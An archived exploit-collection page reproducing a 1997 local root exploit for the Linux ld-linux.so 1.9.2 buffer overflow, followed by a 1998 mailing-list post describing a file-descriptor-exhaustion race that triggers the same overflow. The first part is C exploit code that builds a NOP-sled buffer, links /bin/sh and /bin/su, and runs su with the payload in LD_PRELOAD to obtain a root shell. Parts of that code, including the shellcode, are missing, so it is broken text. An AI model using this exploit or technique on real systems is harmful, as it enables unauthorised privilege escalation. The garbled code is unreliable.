ld-linux.so.1.9.2 overflow

Description:Error handling code in ld.so has a buffer overflow problem. This exploit uses LD_PRELOAD to get by various problems with other methods.
Author:Was originally a KSR[T] Advisory (#2), exploit written by Dan McGuirk <mcguirk@INDIRECT.COM>
Compromise: root (local)
Vulnerable Systems:Linux boxes running ld-linux.so.1.9.2. Various people have suggested that the solaris /usr/lib/libdl.so may have a similar vulnerability. If anyone has any info on this, please mail me.
Date:19 July 1997
Notes:I've put another exploit in the addendum

Date: Sat, 19 Jul 1997 17:28:05 -0700
From: Dan McGuirk <mcguirk@INDIRECT.COM>
Subject: Linux ld.so exploit

Here is an exploit for the Linux ld.so buffer overflow recently announced
on this list.  It only works for ld.so 1.9.2, not 1.7.14.

The overflow doesn't seem to be exploitable by using a long filename,
because the error messages that get printed are of the form

        %s: can't load library '%s'\n

In _dl_fdprintf, the format string is iterated through by incrementing
parameter 'char *fmt', which is located on the stack only four bytes
above the return address you're trying to overwrite.  So if you try to
overflow the buffer by using the first %s, the ": can't load library"
part winds up overwriting 'fmt', and then _dl_fdprintf goes crazy and
segfaults before it can return with the phony return address.  So I don't
think you can do anything worse than cause a crash by creating a long

But you can still exploit the overflow by putting the shellcode string in
LD_PRELOAD.  1.7.14 ignores LD_PRELOAD for setuid executables, but 1.9.2
doesn't.  It does require that the LD_PRELOAD string have no slashes in
it, so you have to link /bin/sh into the current directory.

The patch that was posted doesn't defeat this, since it's not argv0
that's causing the overflow.

Anyway, here's the exploit.  You may have to adjust the offset, but the
buffer size should be correct.

 * buffer overflow exploit for ld-linux.so.1.9.2
 * by Dan McGuirk <mcguirk@indirect.com>
 * based on Aleph One's "smashing the stack" code

#include <stdlib.h>

#define DEFAULT_OFFSET                 3300
#define DEFAULT_BUFFER_SIZE            1013
#define NOP                            0x90

char shellcode[] =

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");

  printf("sp is 0x%x\n", get_sp());
  addr = get_sp() - offset;  /* a valid addr is addr = 0xbfffeba8; here */
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff, "EGG=", 4);
  system("ln -sf /bin/sh _bin_sh");
  system("ln -sf /bin/su aa");
  system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
  system("rm -f _bin_sh");
  system("rm -f aa");

Date: Wed, 4 Feb 1998 17:20:39 +0100
From: Rafal Wojtczuk <nergal@icm.edu.pl>
Subject: [linux-security] An old ld-linux.so hole

  Section I. Overview
  About a half year ago there was some rumour on bugtraq concerning a buffer
overflow in Linux dynamic linkers, ld.so and ld-linux.so. You can take a look
at the beginning of the thread at http://www.geek-girl.com/bugtraq/1997_3/0089.html
to refresh old memories; I'll capitalize anyway.
  Briefly, there exists a buffer overrun in ld-linux.so versions 1.7.14,
1.8.2, 1.9.2 ( others <=1.9.2 probably too, I haven't tried ) . It occures
in the procedure which formats an error message. The said procedure puts
into a buffer argv[0], not checking its length. So, if we can force an error
during dynamic linking of a suid program, we can smash the stack with
argv[0] contents and gain extra priviledges. I haven't found anything on the
net exploiting this vulnerability; as we'll see, it's not a trivial task. Worth
an effort, though; enables us to rip a root shell out of any suid dynamically
linked binary on the system ( sounds promising, doesn't it ).
  At the end of this message I enclosed a working exploit. Use it thougtfully.
Anyway, it's a half-year-old hole, and everybody who installed latest
version of linkers ( that is at least 1.9.5 ) cannot be hurt.
  I hope the enclosed exploit is interesting enough ( from theoretical point
of view ) to be worth publishing, regardless of its being fairly outdated.

  Section II. Misc.
1) the said faulty procedure ( was it named fd_printf ? ) was copied almost
verbatim from kernel function printk. In linux/kernel/printk.c line 161 we
can find a tasty comment
i = vsprintf(buf + 3, fmt, args); /* hopefully i < sizeof(buf)-4 */
In this case, buf is a static variable. In ld-linux.so buf is automatic.
2) as you surely know, ld-linux.so 1.9.2 is broken completely, as it deals with
LD_PRELOAD variable even when linking a suid binary. An exploit based on this
"feature" was composed by Dan McGuirk, I guess. In this article, we're not
using this vulnerablity.
3) Julian Assange (proff@SUBURBIA.NET) mentioned on bugtraq that he was able
to attack the linker with resource starvation ( for file descriptors ). I
assume it was possible on a system with artificially lowered file descriptors
limit; you can look at his a bit vague report at the URL mentioned at the
beginning of this article. Anyway, the only thing in his article that
resembles my approach is the keyword "resource starvation". Judge it

  Section III. General idea.
  To perform its job, dynamic linker must open a library file first. Let's try
to prevent it.

  Section III.V :) Scenario 1.
  Before execing a suid program, we can use up all file descriptors
available for a single process by simply opening any file 256-3 times (
descriptors 0,1,2 are open anyway ). But execve needs one unused descriptor to
work - execve will fail, not giving ld-linux.so a chance to misbehave.

  Section IV. Scenario 2.
  We may create a race condition, gambling on the number of free file table
First, let's spawn 3 processes ( called eat_desc ) which will use up 256
descriptors each and sleep. Then we spawn simultaneosly another eat_desc and
a program (called spawn.c ) which executes
Of course we can utilize any other dynamically linked suid binary. Assuming
that file table has 1024 entries ( default value ) the following scenario is
possible: spawn.c executes /usr/bin/passwd. Immediately afterwards, a context
switch occures, and the fourth eat_desc starts executing. It devours all
remaining file table entries and goes to sleep. Another context switch and
/usr/bin/passwd (formerly known as spawn.c ) executes. Dynamic linker cannot
open /lib/libc.so.5 ( error: file table full ), cooks an error message,
an overflows occures. Great. However, a standard shellcode is of no use in
this case: we can't exec anything ( there is still no file table entries
free ! ). Instead of giving up after first unsucesful exec, shellcode should
first kill one of eat_desc processes, and then in a loop infinitely try to
execute the program we wish to.
  This scenario is possible to accomplish ( I managed to once :) . Yet, it's
ineffective. We can complicate it, assuring practically 100% success ratio.

  Section V. Scenario 3.
  Let's try to force a context switch immediately after spawn.c calls exec.
spawn.c should open a file (called .lock ) receiving descriptor lock_fd and set
a close-on-exec flag on it. Then spawn.c executes flock(lock_fd,LOCK_EX).
Another program ( called noloop ) opens .lock and performs
flock(noloop_fd,LOCK_EX) as well ( and goes to sleep). We also spawn a program
called eat_time, which simply does for(;;);, generating some load on the
  A great moment occures: spawn.c does execl("/usr/bin/passwd",long_arg0,0).
As some load on the machine is imposed by eat_time, system call exec ( which
is time-consuming) should use whole time quantum available for spawn.c ( now
this process is passwd ),so a context switch is bound to happen. (If the
attacked machine is extremely fast, we may need to spawn more then one eat_time
to achieve this ). Noloop starts excuting. Spawn.c closed the descriptor
lock_fd during exec it performed, so noloop can get out of flock it was
sleeping on ( but not before spawn.c did exec - that's the trick). Now it's the
time to devour all remaining file table entries. When control returns to
passwd ( formerly known as spawn.c ), dynamic linker will generate an overflow.
The rest resembles Scenario 2.

  Section VI. Additional notes to scenario 3
a) the whole scenario should be performed after we have used up almost all file
table entries. 3 eat_desc should be spawned first, the fourth should devour
all minus three entries.
b) when noloop decides to eat remaining file table entries, it should first
send SIGSTOP to passwd ( formerly known as spawn.c ). Then it can eat, not
fearing a context switch. Finally, it sends SIGCONT to passwd.
c) some synchronizing between noloop and spawn.c is neccessary - the latter
should't exec /usr/bin/passwd before noloop has slept on the flock call. In my
exploit it is done using signal SIGUSR1. Look at the code for details.
d) scenario 3 won't work for linker version 1.7.3, which at the start does
open("/dev/zero",O_RDONLY). It fails, but generated error message doesn't
contain argv[0], so no overflow this time. Scenario 2 can work: context switch
to the fourth eat_desc should happen after open("/dev/zero",...) call.

  Section VII. The exploit.
Standard disclaimer applies.
Probably it works best on an idle machine. More precidely, during the exploit
execution the number of free file table entries should not be modified by any
process other than eat*, noloop, spawn. You may need to change some
default parameters, for instance the number of eat_time processes or eat_desc
(the latter if your kernel file table size is greater then 1024 or the limit of file
descriptors per process is less than 256 ). If the exploit doesn't work, you
may experiment with DEFAULT_OFFSET in doit.sh

  Section VIII. Traditional closing unrelated mumbling
  One simple conclusion from the above musings - no buffer overflow is
As usuall, I encourage any comments ( to be sent to nergal@icm.edu.pl ).
I remind you that I'm still an unemployed student, which should be changed :)

                   "That's all for now.
                   I hope I managed to prove that exploiting buffer overflows
                   should be an art."
                         by now you should know this quotation.
   Save yourself,

begin 644 linker-exploit.tgz

Please refer to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.

To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: